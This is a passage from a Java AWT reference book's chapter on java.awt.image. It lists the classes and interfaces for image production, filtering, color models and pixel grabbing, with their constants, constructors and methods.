An ImageProducer that generates the image to be filtered.

filter

The ImageFilter to use to process image data delivered by original.

Description

Constructs a FilteredImageSource object to filter an image generated by an ImageProducer.

Class Methods

addConsumer

public synchronized void addConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer interested in receiving the new image.

Implements

ImageProducer.addConsumer(ImageConsumer)

Description

Registers an ImageConsumer as interested in Image information.

isConsumer

public synchronized boolean isConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer to check.

Returns

true if ImageConsumer is registered with this ImageProducer, false otherwise.

Implements

ImageProducer.isConsumer(ImageConsumer)

removeConsumer

public synchronized void removeConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer to remove.

Implements

ImageProducer.removeConsumer(ImageConsumer)

Description

Removes an ImageConsumer from the registered consumers for this ImageProducer.

requestTopDownLeftRightResend

public void requestTopDownLeftRightResend (ImageConsumer ic)

Parameters

ic

ImageConsumer to communicate with.

Implements

ImageProducer.requestTopDownLeftRightResend()

Description

Requests the retransmission of the Image data in top-down, left-to-right order.

startProduction

public void startProduction (ImageConsumer ic)

Parameters

ic

ImageConsumer to communicate with.

Implements

ImageProducer.startProduction(ImageConsumer)

Description

Registers ImageConsumer as interested in Image information and tells ImageProducer to start creating the filtered Image data immediately.

See Also

ImageFilter, ImageConsumer, ImageProducer, Object

Previous | Home | Next
DirectColorModel | Book Index | ImageConsumer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] ImageConsumer

Previous Chapter 22
java.awt.image Reference 		Next

ImageConsumer

Name

ImageConsumer

[Graphic: Figure from the text]

Description

ImageConsumer is an interface that provides the means to consume pixel data and render it for display.

Interface Definition

public abstract interface java.awt.image.ImageConsumer {
  // Constants
  public final static int COMPLETESCANLINES;
  public final static int IMAGEABORTED;
  public final static int IMAGEERROR;
  public final static int RANDOMPIXELORDER;
  public final static int SINGLEFRAME;
  public final static int SINGLEFRAMEDONE;
  public final static int SINGLEPASS;
  public final static int STATICIMAGEDONE;
  public final static int TOPDOWNLEFTRIGHT;
  // Interface Methods
  public abstract void imageComplete (int status);
  public abstract void setColorModel (ColorModel model);
  public abstract void setDimensions (int width, int height);
  public abstract void setHints (int hints);
  public abstract void setPixels (int x, int y, int width, int height,
      ColorModel model, byte[] pixels, int offset, int scansize);
  public abstract void setPixels (int x, int y, int width, int height,
      ColorModel model, int[] pixels, int offset, int scansize);
  public abstract void setProperties (Hashtable properties);
}

Constants

COMPLETESCANLINES

public final static int COMPLETESCANLINES

Hint flag for the setHints(int) method; indicates that the image will be delivered one or more scanlines at a time.

IMAGEABORTED

public final static int IMAGEABORTED

Status flag for the imageComplete(int) method indicating that the loading process for the image aborted.

IMAGEERROR

public final static int IMAGEERROR

Status flag for the imageComplete(int) method indicating that an error happened during image loading.

RANDOMPIXELORDER

public final static int RANDOMPIXELORDER

Hint flag for the setHints(int) method; indicates that the pixels will be delivered in no particular order.

SINGLEFRAME

public final static int SINGLEFRAME

Hint flag for the setHints(int) method; indicates that the image consists of a single frame.

SINGLEFRAMEDONE

public final static int SINGLEFRAMEDONE

Status flag for the imageComplete(int) method indicating a single frame of the image has loaded.

SINGLEPASS

public final static int SINGLEPASS

Hint flag for the setHints(int) method; indicates that each pixel will be delivered once (i.e., the producer will not make multiple passes over the image).

STATICIMAGEDONE

public final static int STATICIMAGEDONE

Status flag for the imageComplete(int) method indicating that the image has fully and successfully loaded, and that there are no additional frames.

TOPDOWNLEFTRIGHT

public final static int TOPDOWNLEFTRIGHT

Hint flag for the setHints(int) method; indicates that pixels will be delivered in a top to bottom, left to right order.

Interface Methods

imageComplete

public abstract void imageComplete (int status)

Parameters

status

Image loading status flags.

Description

Called when the image, or a frame of an image sequence, is complete to report the completion status.

setColorModel

public abstract void setColorModel (ColorModel model)

Parameters

model

The color model for the image.

Description

Tells the ImageConsumer the color model used for most of the pixels in the image.

setDimensions

public abstract void setDimensions (int width, int height)

Parameters

width

Width for image.

height

Height for image.

Description

Tells the consumer the image's dimensions.

setHints

public abstract void setHints (int hints)

Parameters

hints

Image consumption hints.

Description

Gives the consumer information about how pixels will be delivered.

setPixels

public abstract void setPixels (int x, int y, int width, int height, ColorModel model, byte[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Description

Delivers a rectangular block of pixels to the image consumer.

public abstract void setPixels (int x, int y, int width, int height, ColorModel model, int[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Description

Delivers a rectangular block of pixels to the image consumer.

setProperties

public abstract void setProperties (Hashtable properties)

Parameters

properties

The properties for the image.

Description

Delivers a Hashtable that contains the image's properties.

See Also

ColorModel, Hashtable, ImageFilter, PixelGrabber, Object

Previous | Home | Next
FilteredImageSource | Book Index | ImageFilter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] ImageFilter

Previous Chapter 22
java.awt.image Reference 		Next

ImageFilter

Name

ImageFilter

[Graphic: Figure from the text]

Description

The ImageFilter class sits between the ImageProducer and ImageConsumer as an image is being created to provide a filtered version of that image. Image filters are always used in conjunction with a FilteredImageSource. As an implementer of the ImageConsumer interface, an image filter receives pixel data from the original image's source and delivers it to another image consumer. The ImageFilter class implements a null filter (i.e., the new image is the same as the original); to produce a filter that modifies an image, create a subclass of ImageFilter.

Class Definition

public class java.awt.image.ImageFilter
    extends java.lang.Object
    implements java.awt.image.ImageConsumer, java.lang.Cloneable {
  // Variables
  protected ImageConsumer consumer;
  // Constructors
  public ImageFilter();
  // Instance Methods
  public Object clone();
  public ImageFilter getFilterInstance (ImageConsumer ic);
  public void imageComplete (int status);
  public void resendTopDownLeftRight (ImageProducer ip);
  public void setColorModel (ColorModel model);
  public void setDimensions (int width, int height);
  public void setHints (int hints);
  public void setPixels (int x, int y, int width, int height,
      ColorModel model, byte[] pixels, int offset, int scansize);
  public void setPixels (int x, int y, int width, int height,
      ColorModel model, int[] pixels, int offset, int scansize);
  public void setProperties (Hashtable properties);
}

Protected Variables

consumer

protected ImageConsumer consumer

The consumer variable is a reference to the actual ImageConsumer for the Image.

Constructors

ImageFilter

public ImageFilter()

Description

Constructs an empty ImageFilter instance.

Instance Methods

clone

public Object clone()

Overrides

Object.clone()

Returns

A copy of the ImageFilter instance.

getFilterInstance

public ImageFilter getFilterInstance (ImageConsumer ic)

Parameters

ic

The consumer in question.

Returns

A copy of the ImageFilter instance.

Description

Returns the filter that will do the filtering for ic.

imageComplete

void imageComplete (int status)

Parameters

status

Image loading completion status flags.

Implements

ImageConsumer.imageComplete(int)

Description

Called by the ImageProducer to indicate an image's completion status. ImageFilter passes these flags to the consumer unchanged.

resendTopDownLeftRight

public void resendTopDownLeftRight (ImageProducer ip)

Parameters

ip

The ImageProducer generating the original image.

Description

Called by the ImageConsumer to ask the filter to resend the image data in the top-down, left-to-right order. In ImageFilter, this method calls the same method in the ImageProducer, thus relaying the request.

setColorModel

void setColorModel (ColorModel model)

Parameters

model

The color model for the image.

Implements

ImageConsumer.setColorModel(ColorModel)

Description

Sets the image's color model.

setDimensions

void setDimensions (int width, int height)

Parameters

width

Width for image.

height

Height for image.

Implements

ImageConsumer.setDimensions(int, int)

Description

Sets the image's dimensions.

setHints

void setHints (int hints)

Parameters

hints

Image consumption hints.

Implements

ImageConsumer.setHints(int)

Description

Called by the ImageProducer to deliver hints about how the image data will be delivered. ImageFilter passes these hints on to the ImageConsumer.

setPixels

void setPixels (int x, int y, int width, int height, ColorModel model, byte[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Implements

ImageConsumer.setPixels(int, int, int, int, ColorModel, byte[], int, int)

Description

Delivers a rectangular block of pixels to the ImageFilter. ImageFilter passes these pixels on to the consumer unchanged.

void setPixels (int x, int y, int width, int height, ColorModel model, int[] pixels, int offset, int scansize)

Parameters

x

x-coordinate of top-left corner of pixel data delivered with this method call.

y

y-coordinate of top-left corner of pixel data delivered with this method call.

width

Width of the rectangle of pixel data delivered with this method call.

height

Height of the rectangle of pixel data delivered with this method call.

model

Color model of image data.

pixels

Image data.

offset

Offset from beginning of the pixels array.

scansize

Size of each line of data in pixels array.

Implements

ImageConsumer.setPixels(int, int, int, int, ColorModel, int[], int, int)

Description

Delivers a rectangular block of pixels to the ImageFilter. ImageFilter passes these pixels on to the consumer unchanged.

setProperties

void setProperties (Hashtable properties)

Parameters

properties

The properties for the image.

Implements

ImageConsumer.setProperties(Hashtable)

Description

Initializes the image's properties. ImageFilter adds the property "filter" to the Hashtable, and passes the result on to the image consumer; the value of the property is the string returned by the filter's toString() method. If the property "filter" is already in the Hashtable, ImageFilter adds the string returned by its toString() method to the value already associated with that property.

See Also

Cloneable, ColorModel, CropImageFilter, Hashtable, ImageConsumer, ImageProducer, Object, ReplicateImageFilter, RGBImageFilter

Previous | Home | Next
ImageConsumer | Book Index | ImageObserver
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] ImageObserver

Previous Chapter 22
java.awt.image Reference 		Next

ImageObserver

Name

ImageObserver

[Graphic: Figure from the text]

Description

ImageObserver is an interface that provides constants and the callback mechanism to receive asynchronous information about the status of an image as it loads.

Interface Definition

public abstract interface java.awt.image.ImageObserver {
  // Constants
  public static final int ABORT;
  public static final int ALLBITS;
  public static final int ERROR;
  public static final int FRAMEBITS;
  public static final int HEIGHT;
  public static final int PROPERTIES;
  public static final int SOMEBITS;
  public static final int WIDTH;
  // Interface Methods
  public abstract boolean imageUpdate (Image image, int infoflags,
     int x, int y, int width, int height);
}

Constants

ABORT

public static final int ABORT

The ABORT flag indicates that the image aborted during loading. An attempt to reload the image may succeed, unless ERROR is also set.

ALLBITS

public static final int ALLBITS

The ALLBITS flag indicates that the image has completely loaded successfully. The x, y, width, and height arguments to imageUpdate() should be ignored.

ERROR

public static final int ERROR

The ERROR flag indicates that an error happened during the image loading process. An attempt to reload the image will fail.

FRAMEBITS

public static final int FRAMEBITS

The FRAMEBITS flag indicates that a complete frame of a multi-frame image has loaded. The x, y, width, and height arguments to imageUpdate() should be ignored.

HEIGHT

public static final int HEIGHT

The HEIGHT flag indicates that the height information is available for an image; the image's height is in the height argument to imageUpdate().

PROPERTIES

public static final int PROPERTIES

The PROPERTIES flag indicates that the properties information is available for an image.

SOMEBITS

public static final int SOMEBITS

The SOMEBITS flag indicates that the image has started loading and some pixels are available. The bounding rectangle for the pixels that have been delivered so far is indicated by the x, y, width, and height arguments to imageUpdate().

WIDTH

public static final int WIDTH

The WIDTH flag indicates that the width information is available for an image; the image's width is in the width argument to imageUpdate().

Interface Methods

imageUpdate

public abstract boolean imageUpdate (Image image, int infoflags, int x, int y, int width, int height)

Parameters

image

Image that is being loaded.

infoflags

The ImageObserver flags for the information that is currently available.

x

Meaning depends on infoflags that are set.

y

Meaning depends on infoflags that are set.

width

Meaning depends on infoflags that are set.

height

Meaning depends on infoflags that are set.

Returns

true if image has completed loading (successfully or unsuccessfully), false if additional information needs to be loaded.

Description

Provides the callback mechanism for the asynchronous loading of images.

See Also

Component, Image, Object

Previous | Home | Next
ImageFilter | Book Index | ImageProducer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] ImageProducer

Previous Chapter 22
java.awt.image Reference

ImageProducer

Name

ImageProducer

[Graphic: Figure from the text]

Description

ImageProducer is an interface that provides the methods necessary for the production of images and the communication with classes that implement the ImageConsumer interface.

Interface Definition

public abstract interface java.awt.image.ImageProducer {
  // Interface Methods
  public abstract void addConsumer (ImageConsumer ic);
  public abstract boolean isConsumer (ImageConsumer ic);
  public abstract void removeConsumer (ImageConsumer ic);
  public abstract void requestTopDownLeftRightResend (ImageConsumer ic);
  public abstract void startProduction (ImageConsumer ic);
}

Interface Methods

addConsumer

public abstract void addConsumer (ImageConsumer ic)

Parameters

ic

An ImageConsumer that wants to receive image data.

Description

Registers an ImageConsumer as interested in image information.

isConsumer

public abstract boolean isConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer to check.

Returns

true if ImageConsumer has registered with the ImageProducer, false otherwise.

removeConsumer

public abstract void removeConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer to remove.

Description

Removes an ImageConsumer from registered consumers for this ImageProducer.

requestTopDownLeftRightResend

public abstract void requestTopDownLeftRightResend (ImageConsumer ic)

Parameters

ic

ImageConsumer to communicate with.

Description

Requests the retransmission of the image data in top-down, left-to-right order.

startProduction

public abstract void startProduction (ImageConsumer ic)

Parameters

ic

ImageConsumer to communicate with.

Description

Registers ImageConsumer as interested in image information and tells ImageProducer to start sending the image data immediately.

See Also

FilteredImageSource, Image, ImageConsumer, ImageFilter, MemoryImageSource, Object

Previous | Home
ImageObserver | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] IndexColorModel

Previous Chapter 22
java.awt.image Reference 		Next

IndexColorModel

Name

IndexColorModel

[Graphic: Figure from the text]

Description

The IndexColorModel class is a ColorModel that uses a color map lookup table (with a maximum size of 256) to convert pixel values into their alpha, red, green, and blue component parts.

Class Definition

public class java.awt.image.IndexColorModel
    extends java.awt.image.ColorModel {
  // Constructors
  public IndexColorModel (int bits, int size,
      byte[] colorMap, int start, boolean hasalpha);
  public IndexColorModel (int bits, int size,
      byte[] colorMap, int start, boolean hasalpha, int transparent);
  public IndexColorModel (int bits, int size,
      byte[] red, byte[] green, byte[] blue);
  public IndexColorModel (int bits, int size,
      byte[] red, byte[] green, byte[] blue, byte[] alpha);
  public IndexColorModel (int bits, int size,
      byte[] red, byte[] green, byte[] blue, int transparent);
  // Instance Methods
  public final int getAlpha (int pixel);
  public final void getAlphas (byte[] alphas);
  public final int getBlue (int pixel);
  public final void getBlues (byte[] blues);
  public final int getGreen (int pixel);
  public final void getGreens (byte[] greens);
  public final int getMapSize();
  public final int getRed (int pixel);
  public final void getReds (byte[] reds);
  public final int getRGB (int pixel);
  public final int getTransparentPixel();
}

Constructors

IndexColorModel

public IndexColorModel (int bits, int size, byte[] colorMap, int start, boolean hasalpha)

Parameters

bits

The number of bits in a pixel.

size

The number of entries in the color map. Note: this is not the size of the colorMap parameter.

colorMap

Color component values in red, green, blue, alpha order; the alpha component is optional, and may not be present.

start

The starting position in colorMap array.

hasalpha

If hasalpha is true, alpha components are present in colorMap array.

Throws

ArrayIndexOutOfBoundsException

If size is invalid.

Description

Constructs an IndexColorModel object with the given component settings. The size of colorMap must be at least 3*size+start, if hasalpha is false; if hasalpha is true, colorMap.length must be at least 4*size+start.

public IndexColorModel (int bits, int size, byte[] colorMap, int start, boolean hasalpha, int transparent)

Parameters

bits

The number of bits in a pixel.

size

The number of entries in the color map. Note: this is not the size of the colorMap parameter.

colorMap

Color component values in red, green, blue, alpha order; the alpha component is optional, and may not be present.

start

The starting position in colorMap array.

hasalpha

If hasalpha is true, alpha components are present in colorMap array.

transparent

Position of colorMap entry for transparent pixel entry.

Throws

ArrayIndexOutOfBoundsException

If size invalid.

Description

Constructs an IndexColorModel object with the given component settings. The size of colorMap must be at least 3*size+start, if hasalpha is false; if hasalpha is true, colorMap.length must be at least 4*size+start. The color map has a transparent pixel; its location is given by transparent.

public IndexColorModel (int bits, int size, byte[] red, byte[] green, byte[] blue)

Parameters

bits

The number of bits in a pixel.

size

The number of entries in the color map.

red

Red color component values.

green

Green color component values.

blue

Blue color component values.

Throws

ArrayIndexOutOfBoundsException

If size invalid.

Description

Constructs an IndexColorModel object with the given component settings. There is no alpha component. The length of the red, green, and blue arrays must be greater than size.

public IndexColorModel (int bits, int size, byte[] red, byte[] green, byte[] blue, byte[] alpha)

Parameters

bits

The number of bits in a pixel.

size

The number of entries in the color map.

red

Red color component values.

green

Green color component values.

blue

Blue color component values.

alpha

Alpha component values.

Throws

ArrayIndexOutOfBoundsException

If size is invalid.

NullPointerException

If size is positive and alpha array is null.

Description

Constructs an IndexColorModel object with the given component settings. The length of the red, green, blue, and alpha arrays must be greater than size.

public IndexColorModel (int bits, int size, byte[] red, byte[] green, byte[] blue, int transparent)

Parameters

bits

The number of bits in a pixel.

size

The number of entries in the color map.

red

Red color component values.

green

Green color component values.

blue

Blue color component values.

transparent

Position of transparent pixel entry.

Throws

ArrayIndexOutOfBoundsException

If size is invalid.

Description

Constructs an IndexColorModel object with the given component settings. The length of the red, green, blue, and alpha arrays must be greater than size. The color map has a transparent pixel; its location is given by transparent.

Instance Methods

getAlpha

public final int getAlpha (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current alpha setting of the pixel.

Overrides

ColorModel.getAlpha(int)

getAlphas

public final void getAlphas (byte[] alphas)

Parameters

alphas

The alpha values of the pixels in the color model.

Description

Copies the alpha values from the color map into the array alphas[].

getBlue

public final int getBlue (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current blue setting of the pixel.

Overrides

ColorModel.getBlue(int)

getBlues

public final void getBlues (byte[] blues)

Parameters

blues

The blue values of the pixels in the color model.

Description

Copies the blue values from the color map into the array blues[].

getGreen

public final int getGreen (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current green setting of the pixel.

Overrides

ColorModel.getGreen(int)

getGreens

public final void getGreens (byte[] greens)

Parameters

greens

The green values of the pixels in the color model.

Description

Copies the green values from the color map into the array greens[].

getMapSize

public final int getMapSize()

Returns

The current size of the color map table.

getRed

public final int getRed (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current red setting of the pixel.

Overrides

ColorModel.getRed(int)

getReds

public final void getReds (byte[] reds)

Parameters

reds

The red values of the pixels in the color model.

Description

Copies the red values from the color map into the array reds[].

getRGB

public final int getRGB (int pixel)

Parameters

pixel

A pixel encoded with this ColorModel.

Returns

The current combined red, green, and blue settings of the pixel.

Overrides

ColorModel.getRGB(int)

Description

Gets the color of pixel in the default RGB color model.

getTransparentPixel

public final int getTransparentPixel()

Returns

The array index for the transparent pixel in the color model.

See Also

ColorModel

Previous | Home | Next
ImageProducer | Book Index | MemoryImageSource
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] MemoryImageSource

Previous Chapter 22
java.awt.image Reference 		Next

MemoryImageSource

Name

MemoryImageSource

[Graphic: Figure from the text]

Description

The MemoryImageSource class allows you to create images completely in memory. You provide an array of data; it serves as an image producer for that data. In the 1.1 release, new methods support using this class for animation (notably setAnimated() and the various overrides of newPixels()).

Class Definition

public class java.awt.image.MemoryImageSource
    extends java.lang.Object
    implements java.awt.image.ImageProducer {
  // Constructors
  public MemoryImageSource (int w, int h, ColorModel cm,
      byte[] pix, int off, int scan);
  public MemoryImageSource (int w, int h, ColorModel cm,
      byte[] pix, int off, int scan, Hashtable props);
  public MemoryImageSource (int w, int h, ColorModel cm,
      int[] pix, int off, int scan);
  public MemoryImageSource (int w, int h, ColorModel cm,
      int[] pix, int off, int scan, Hashtable props);
  public MemoryImageSource (int w, int h, int[] pix,
      int off, int scan);
  public MemoryImageSource (int w, int h, int[] pix,
      int off, int scan, Hashtable props);
  // Instance Methods
  public synchronized void addConsumer (ImageConsumer ic);
  public synchronized boolean isConsumer (ImageConsumer ic);
  public void newPixels();   (New)
  public synchronized void newPixels (int x, int y,
      int w, int h);   (New)
  public synchronized void newPixels (int x, int y,
      int w, int h, boolean framenotify);   (New)
  public synchronized void newPixels (byte[] newpix,
      ColorModel newmodel, int offset, int scansize);   (New)
  public synchronized void newPixels (int[] newpix,
      ColorModel newmodel, int offset, int scansize);   (New)
  public synchronized void removeConsumer (ImageConsumer ic);
  public void requestTopDownLeftRightResend (ImageConsumer ic);
  public synchronized void setAnimated (boolean animated);   (New)
  public synchronized void setFullBufferUpdates
      (boolean fullbuffers);   (New)
  public void startProduction (ImageConsumer ic);
}

Constructors

MemoryImageSource

public MemoryImageSource (int w, int h, ColorModel cm, byte[] pix, int off, int scan)

Parameters

w

Width of the image being created.

h

Height of the image being created.

cm

ColorModel of the image being created.

pix

Array of pixel information.

off

The offset of the first pixel in the array; elements prior to this pixel are ignored.

scan

The number of pixels per scan line in the array.

Description

Constructs a MemoryImageSource object with the given parameters to serve as an ImageProducer for a new image.

public MemoryImageSource (int w, int h, ColorModel cm, byte[] pix, int off, int scan, Hashtable props)

Parameters

w

Width of the image being created.

h

Height of the image being created.

cm

ColorModel of the image being created.

pix

Array of pixel information.

off

The offset of the first pixel in the array; elements prior to this pixel are ignored.

scan

The number of pixels per scan line in the array.

props

Hashtable of properties associated with image.

Description

Constructs a MemoryImageSource object with the given parameters to serve as an ImageProducer for a new image.

public MemoryImageSource (int w, int h, ColorModel cm, int[] pix, int off, int scan)

Parameters

w

Width of the image being created.

h

Height of the image being created.

cm

ColorModel of the image being created.

pix

Array of pixel information.

off

The offset of the first pixel in the array; elements prior to this pixel are ignored.

scan

The number of pixels per scan line in the array.

Description

Constructs a MemoryImageSource object with the given parameters to serve as an ImageProducer for a new image.

public MemoryImageSource (int w, int h, ColorModel cm, int[] pix, int off, int scan, Hashtable props)

Parameters

w

Width of the image being created.

h

Height of the image being created.

cm

ColorModel of the image being created.

pix

Array of pixel information.

off

The offset of the first pixel in the array; elements prior to this pixel are ignored.

scan

The number of pixels per scan line in the array.

props

Hashtable of properties associated with image.

Description

Constructs a MemoryImageSource object with the given parameters to serve as an ImageProducer for a new image.

public MemoryImageSource (int w, int h, int[] pix, int off, int scan)

Parameters

w

Width of the image being created.

h

Height of the image being created.

pix

Array of pixel information.

off

The offset of the first pixel in the array; elements prior to this pixel are ignored.

scan

The number of pixels per scan line in the array.

Description

Constructs a MemoryImageSource object with the given parameters to serve as an ImageProducer for a new image.

public MemoryImageSource (int w, int h, int[] pix, int off, int scan, Hashtable props)

Parameters

w

Width of the image being created.

h

Height of the image being created.

pix

Array of pixel information.

off

The offset of the first pixel in the array; elements prior to this pixel are ignored.

scan

The number of pixels per scan line in the array.

props

Hashtable of properties associated with image.

Description

Constructs a MemoryImageSource object with the given parameters to serve as an ImageProducer for a new image.

Class Methods

addConsumer

public synchronized void addConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer requesting image data.

Implements

ImageProducer.addConsumer(ImageConsumer)

Description

Registers an ImageConsumer as interested in Image information.

isConsumer

public synchronized boolean isConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer to check.

Returns

true if ImageConsumer is registered with this ImageProducer, false otherwise.

Implements

ImageProducer.isConsumer(ImageConsumer)

newPixels

public synchronized void newPixels() (New)

Description

Notifies the MemoryImageSource that there is new data available. The MemoryImageSource notifies all ImageConsumers that there is new data, sending the full rectangle and notifying the consumers that the frame is complete.

public synchronized void newPixels (int x, int y, int w, int h, boolean framenotify) (New)

Parameters

x

x coordinate of the top left corner of the new image data.

y

y coordinate of the top left corner of the new image data.

w

Width of the new image data.

h

Height of the new image data.

Description

Notifies the MemoryImageSource that there is new data available. The MemoryImageSource notifies all ImageConsumers that there is new data in the rectangle described by x, y, w, and h. The consumers are notified that the frame is complete.

public synchronized void newPixels (int x, int y, int w, int h, boolean framenotify) (New)

Parameters

x

x coordinate of the top left corner of the new image data.

y

y coordinate of the top left corner of the new image data.

w

Width of the new image data.

h

Height of the new image data.

framenotify

Determines whether this is a complete frame or not.

Description

Notifies the MemoryImageSource that there is new data available. The MemoryImageSource notifies all ImageConsumers that there is new data in the rectangle described by x, y, w, and h. If framenotify is true, the consumers will also be notified that a frame is complete.

public synchronized void newPixels (byte[] newpix, ColorModel newmodel, int offset, int scansize) (New)

Parameters

newpix

New array of image data.

newmodel

The color model to use for the new data.

offset

Offset into the data array

scansize

Size of each line.

Description

Changes the image data for this MemoryImageSource and notifies its ImageConsumers that new data is available.

public synchronized void newPixels (int[] newpix, ColorModel newmodel, int offset, int scansize) (New)

Parameters

newpix

New array of image data.

newmodel

The color model to use for the new data.

offset

Offset into the data array

scansize

Size of each line.

Description

Changes the image data for this MemoryImageSource and notifies its ImageConsumers that new data is available.

removeConsumer

public void removeConsumer (ImageConsumer ic)

Parameters

ic

ImageConsumer to remove.

Implements

ImageProducer.removeConsumer(ImageConsumer)

Description

Removes an ImageConsumer from registered consumers for this ImageProducer.

requestTopDownLeftRightResend

public void requestTopDownLeftRightResend (ImageConsumer ic)

Parameters

ic

ImageConsumer requesting image data.

Implements

ImageProducer.requestTopDownLeftRightResend(ImageConsumer)

Description

Requests the retransmission of the Image data in top-down, left-to-right order.

setAnimated

public void setAnimated (boolean animated) (New)

Parameters

animated

Flag indicating whether this image is animated.

Description

To use this MemoryImageSource for animation, call setAnimated(true). The newPixels() methods will not work otherwise.

setFullBufferUpdates

public void setFullBufferUpdates (boolean fullbuffers) (New)

Parameters

fullbuffers

true to send full buffers; false otherwise.

Description

This method is only important for animations; i.e., you should call setAnimated(true) before using this function. If you do request to send full buffers, then any rectangle parameters passed to newPixels() will be ignored and the entire image will be sent to the consumers.

startProduction

public void startProduction (ImageConsumer ic)

Parameters

ic

ImageConsumer requesting image data.

Implements

ImageProducer.startProduction(ImageConsumer)

Description

Registers ImageConsumer as interested in Image information and tells ImageProducer to start sending the image data immediately.

See Also

ColorModel, Hashtable, ImageConsumer, ImageProducer, Object

Previous | Home | Next
IndexColorModel | Book Index | PixelGrabber
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 22] PixelGrabber

Previous Chapter 22
java.awt.image Reference 		Next

PixelGrabber

Name

PixelGrabber

[Graphic: Figure from the text]

Description

The PixelGrabber class is an ImageConsumer that captures the pixels from an image and saves them in an array.

Class Definition

public class java.awt.image.PixelGrabber
    extends java.lang.Object
    implements java.awt.image.ImageConsumer {
  // Constructors
  public PixelGrabber (Image img, int x, int y, int w, int h,
      boolean forceRGB);   (New)
  public PixelGrabber (Image image, int x, int y, int width,
      int height, int[] pixels, int offset, int scansize);
  public PixelGrabber (ImageProducer ip, int x, int y, int width,
      int height, int[] pixels, int offset, int scansize);
  // Instance Methods
  public synchronized void abortGrabbing();   (New)
  public synchronized ColorModel getColorModel();   (New)
  public synchronized int getHeight();   (New)
  public synchronized Object getPixels();   (New)
  public synchronized int getStatus();   (New)
  public synchronized int getWidth();   (New)
  public boolean grabPixels() throws InterruptedException;
  public synchronized boolean grabPixels (long ms)
      throws InterruptedException;
  public synchronized void imageComplete (int status);
  public void setColorModel (ColorModel model);
  public void setDimensions (int width, int height);
  public void setHints (int hints);
  public void setPixels (int x, int y, int width, int height,
      ColorModel model, byte[] pixels, int offset, int scansize);
  public void setPixels (int x, int y, int width, int height,
      ColorModel model, int[] pixels, int offset, int scansize);
  public void setProperties (Hashtable properties);
  public synchronized void startGrabbing();   (New)
  public synchronized int status();   (Deprecated)
}

Constructors

PixelGrabber

public PixelGrabber (Image img, int x, int y, int w, int h, boolean forceRGB) (New)

Parameters

img

Image to use as source of pixel data.

x

x-coordinate of top-left corner of pixel data.

y

y-coordinate of top-left corner of pixel data.

w

Width of pixel data.

h

Height of pixel data.

forceRGB

true to force the use of the RGB color model; false otherwise.

Description

Constructs a PixelGrabber instance to grab the specified area of the image.

public PixelGrabber (Image image, int x, int y, int width, int height, int[] pixels, int offset, int scansize)

Parameters

image

Image to use as source of pixel data.

x

x-coordinate of top-left corner of pixel data.

y

y-coordinate of top-left corner of pixel data.

width

Width of pixel data.

height

Height of pixel data.

pixels

Where to store pixel data when grabPixels() called.

offset

Offset from beginning of each line in pixels array.

scansize

Size of each line of data in pixels array.

Description

Constructs a PixelGrabber instance to grab the specified area of the image and store the pixel data from this area in the array pixels[].

public PixelGrabber (ImageProducer ip, int x, int y, int width, int height, int[] pixels, int offset, int scansize)

Parameters

ip

ImageProducer to use as source of pixel data.

x

x-coordinate of top-left corner of pixel data.

y

y-coordinate of top-left corner of pixel data.

width

Width of pixel data.

height

Height of pixel data.

pixels

Where to store pixel data when grabPixels() called.

offset

Offset from beginning of each line in pixels array.

scansize

Size of each line of data in pixels array.

Description

Constructs a PixelGrabber instance to grab data from the specified area of the image generated by an ImageProducer and store the pixel data from this area in the array pixels[].

Instance Methods

abortGrabbing

public synchronized void abortGrabbing() (New)

Description

Stops the PixelGrabber's image-grabbing process.

getColorModel

public synchronized ColorModel getColorModel() (New)

Returns

The color model the PixelGrabber is using for its array.

getHeight

public synchronized int getHeight() (New)

Returns

The height of the grabbed image, or -1 if the height is not known.

getPixels

public synchronized Object getPixels() (New)

Returns

The array of pixels.

Description

Either a byte array or an integer array is returned, or null if the size and format of the image are not yet known. Because the PixelGrabber may change its mind about what ColorModel it's using, different calls to this method may return different arrays until the image acquisition is complete.

getStatus

public synchronized int getStatus() (New)

Returns

A combination of ImageObserver flags indicating what data is available.

getWidth

public synchronized int getWidth() (New)

Returns

The width of the grabbed image, or -1 if the width is not known.

grabPixels

public boolean grabPixels() throws InterruptedException

Throws

InterruptedException

If image grabbing is interrupted before completion.

Returns

true if the image has completed loading, false if the loading process aborted or an error occurred.

Description

